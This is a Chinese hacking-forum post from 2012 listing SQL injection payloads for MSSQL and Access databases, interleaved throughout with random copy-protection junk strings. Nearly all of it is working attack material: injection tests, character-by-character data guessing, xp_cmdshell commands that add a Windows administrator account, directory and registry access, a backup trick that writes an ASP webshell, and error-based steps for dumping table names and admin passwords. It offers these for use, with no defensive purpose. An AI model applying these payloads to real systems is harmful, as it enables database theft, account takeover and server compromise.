找回密码
 立即注册
查看: 2921|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1.判断是否有注入
$ C/ H: L5 r4 I+ a( K9 };and 1=1 4 A, w7 m- ?7 F9 |/ R
;and 1=2
3 ^5 @% d- @1 ?& \+ b% p& Z: U' {1 s! u
2.初步判断是否是mssql 0 ~( o8 T3 _+ g7 K" F! e# m, y
;and user>0
7 _% z7 r% e; ]
- P. C5 ~6 L3 ^9 @6 ?: g- V3.判断数据库系统   \% H: w+ P: n2 r
;and (select count(*) from sysobjects)>0 mssql
9 j4 ~' E) h- S; f;and (select count(*) from msysobjects)>0 access ! ]" X& W0 i1 a. v; A2 r
0 }' A9 Y; L+ _) _! _
4.注入参数是字符
8 D2 ]; ?8 k/ k4 @'and [查询条件] and ''=' 0 j; k! \* w- C! z

& g  S: n" \& @: p7 N/ B% I, Q) \5 v6 g5.搜索时没过滤参数的
% J* j+ u' E+ l* J'and [查询条件] and '%25'=' 8 ?0 t0 K" D" b; Y
3 D! t  [2 q) R6 q1 L, f
6.猜数表名 7 S# U' P7 L! R. Q5 B% h8 u! h
;and (select Count(*) from [表名])>0
3 {( W0 {; z4 c5 i1 D$ [7 d0 f5 W* X/ n7 K: y5 M& V5 c8 X
7.猜字段
; L# Y" T9 O7 T" L;and (select Count(字段名) from 表名)>0
  [1 j+ ^( V1 E% }) \& ]0 w' ^6 [0 t! O1 r
8.猜字段中记录长度 8 [# [" }5 Z: W$ m; i
;and (select top 1 len(字段名) from 表名)>0 5 b1 T9 {  m" Z. L, [  ]  f; t" Y3 g

. m4 C: D" M/ l" K$ E9.(1)猜字段的ascii值(access)
! ~& g  H9 }5 Z, ~$ K+ K8 W+ t0 D;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
' |+ F3 ]1 U/ D5 e, {  I1 ]) {- |5 _* }
9 W4 O  W: |: n, o& q8 R' T& K% |(2)猜字段的ascii值(mssql) ! \& B7 D; r0 W" A0 S6 H0 {6 A; {
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 6 `4 E$ a& X% B$ X0 V

* a; t: M' k9 I9 c10.测试权限结构(mssql)
3 X# H$ u5 {4 p2 a: J$ q1 H5 t;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 6 J7 [( @5 O( R, @( c, s+ {7 Z  ]
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
$ J$ U4 w: b) A6 Z;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
6 |3 Q7 T; n( Z4 Z3 I: M( a  c2 y: L( h;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ' x" p( G$ [2 B7 C" p3 w3 D
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
8 z2 l- B2 s( S2 e/ W' m;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
$ D$ N) B! p% t;and 1=(select IS_MEMBER('db_owner'));--
! m  b/ D9 U& H$ \0 R8 ^/ P! z; m0 s! N& s4 Q
11.添加mssql和系统的帐户 ! ]0 T) S5 ^& J9 J
;exec master.dbo.sp_addlogin username;--
! w+ d7 x5 l, F) m8 T& N;exec master.dbo.sp_password null,username,password;-- 8 ?9 _# k; h3 {% l- ?% a4 R! Z1 `6 r
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
8 t4 G8 h& k5 i% Y3 c+ y;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ' ?: K+ t+ y# {* r
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ' y& C0 R8 w/ j6 C
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- : M; A/ M2 N, Q) k

& c4 @3 k4 c# a+ L: y$ f12.(1)遍历目录
4 v" R$ v* r1 Z- l) I) n9 d;create table dirs(paths varchar(100), id int) , n" ?0 q; P) O/ T1 ^$ B+ |8 S
;insert dirs exec master.dbo.xp_dirtree 'c:\' " f$ q% B0 k4 @
;and (select top 1 paths from dirs)>0
" s9 F0 h! e2 q: P& V3 L;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
. S. U* I. ^- b5 j% B
) \: u! V- d% k; H9 |6 m(2)遍历目录 " }6 G" D% m4 F8 q8 i
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 7 g2 q  e8 D  L1 Z/ o
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
( R1 k" c4 x; I6 r( b% X  b. };insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 , [2 R9 S, U& }
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
( ~# k) Z) n. ~8 i4 t5 V, V;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
2 [: X9 K# X  o
% ^! Z6 @& T3 V. C13.mssql中的存储过程
7 Q0 |- W; L; ]. |5 A+ C% K# |xp_regenumvalues 注册表根键, 子键 8 _+ h  X( W! m) a) {# {, }$ s( S1 M
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 * ~- w% {$ U: W: g# h8 p: E
xp_regread 根键,子键,键值名
5 G( J& q" M1 Q; r- P4 T;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 " f; |) U( f9 L& |; H% f0 t: T
xp_regwrite 根键,子键, 值名, 值类型, 值 8 G% `2 N/ T6 Y
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 8 h9 Q1 _1 r" s+ Y
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
+ d* @4 Q1 V/ n, V+ `xp_regdeletevalue 根键,子键,值名 # g, z+ v% L7 T% k3 v4 u
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
" i3 U% i$ f* M% Exp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
/ A, W9 B5 i& h) U& w% x4 h; s
) x) b) ^) G1 F: X2 T3 s( z14.mssql的backup创建webshell
3 k1 F' e  \! c8 D7 Y" }% ouse model
6 B. B# v( y% ucreate table cmd(str image); 1 s. Y$ W4 j' [! _1 j
insert into cmd(str) values ('<% Dim oScript %>');
6 h7 _+ W. {% ^# M% A4 Hbackup database model to disk='c:\l.asp';
  Q, Q9 D. s9 c: o1 z" V' I
8 L, t. J6 l3 K; `; y" T15.mssql内置函数
& p$ n1 H$ X6 ^' ]( o, P) w; u;and (select @@version)>0 获得Windows的版本号
( V6 F0 m8 R4 `5 e2 t4 `" p2 B  X;and user_name()='dbo' 判断当前系统的连接用户是不是sa : ?3 U1 g; k8 `  ~0 R4 K
;and (select user_name())>0 爆当前系统的连接用户 ! L5 [! G- J0 }% g3 P9 q: p
;and (select db_name())>0 得到当前连接的数据库
  t3 \5 ]5 x/ [; T4 n7 `. c/ b( q
; d2 @4 n% q( @0 U5 A" d9 S& D8 L* Q/ L' [) ~8 X
; A! J* }6 W/ p1 p
MSSQL手注暴库
3 ?2 U9 T0 y/ _! G% Q( E
* L: y. U- l: o9 e9 F; l) C2 }! W8 v1.暴出当前表名和列名1 I4 c; U6 E2 f- B% }, e
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
/ S! w7 x! `* _6 X* t; W. W, `! w: {7 E$ T% p- l5 k
第一.爆出所有数据库名$ x6 @- ~6 m- M) h! E
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
9 I! M7 q, c5 D" N. ^. Y( y9 U/ j5 e第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。$ W6 y. ?3 p5 T3 `2 ^

& Y6 M& |& L( o; z9 ^  land 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
' x  N$ M2 z+ F; \
% X3 G# D- B! \2 a2 F! y& ]% L7 }. ~4 z4 F9 ~, T6 l7 J5 p
第二.爆出指定库中的所有表名( t2 l# f  W) \" O
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。3 }, Y9 c% ^" \# V% d2 p. o. k/ ~
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
, ]/ t6 B/ W8 x4 R. d, A7 V' {' `0 o9 z! j2 K; k5 ^7 w
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--' `0 g, c, D7 h! \- `9 I
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--. T% G* ~7 U5 Y9 b9 P- u' |. R% d( u& ~
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--$ n+ v5 w, Y  Q% Y: U

* y7 F. x) v. T* _! S4.爆出指定表中的所有列名
4 c; B1 j! H  R0 g$ \and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
1 ]4 c% A: D& G$ M" W# k2 i- J//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'* N* ~3 X. Z! d: D5 S9 l# ?4 |! y8 a
4 i0 X( w/ {8 G8 ~$ V# T
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
) K: X3 R4 _2 h3 l. v9 @$ v( ?! {2 T% o
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- % e. Q* K4 {) {$ {
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
; m3 w- p; f* i0 l- @! L6 {8 k5 j" F: _5 [3 W* v2 o

! Z% x3 X/ H9 d+ m/ X( }and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
) B) O% {: I: _  t/ @) D9 p: i7 I4 J5 Q: z
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名7 w) N. }! R+ G* d' F& y

) a$ p1 O0 J3 w0 h+ N1 Aand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
8 k9 K3 z4 D# R! W" {
  B: V7 K0 t7 v; ]0 [, h" }. l$ Z" `2 E+ w

1 @: t6 V# P8 B5.读取指定表中的数据
3 }/ z' M9 [# L5 A1 @6 m' j- O7 ^+ |3 x! e7 [
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 ) P* {' U& n* }2 d5 K, K1 K

2 G$ p9 F# h* O5 q  pand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
6 s# ~# W/ E% ~; S' ]' y- h+ b  ^: C& s% {
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码4 C0 ]4 t( {6 ~* r# v
0 T2 R$ C4 B2 m! e; o! u2 z7 V! ^/ J
: P5 b6 ]% ?1 o! Q
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
& ]% ^6 d1 m. j% ]. V' O
7 A" Q  n2 Z4 [8 k3 t  ~7 D0 Yand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
" @3 F4 r* K; g' x  |' c( q/ {' k$ p5 n7 F+ t
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
9 ^5 X+ t2 }7 Y* X) b' |% v& R+ c6 i
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。7 q' O. Y; |# x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表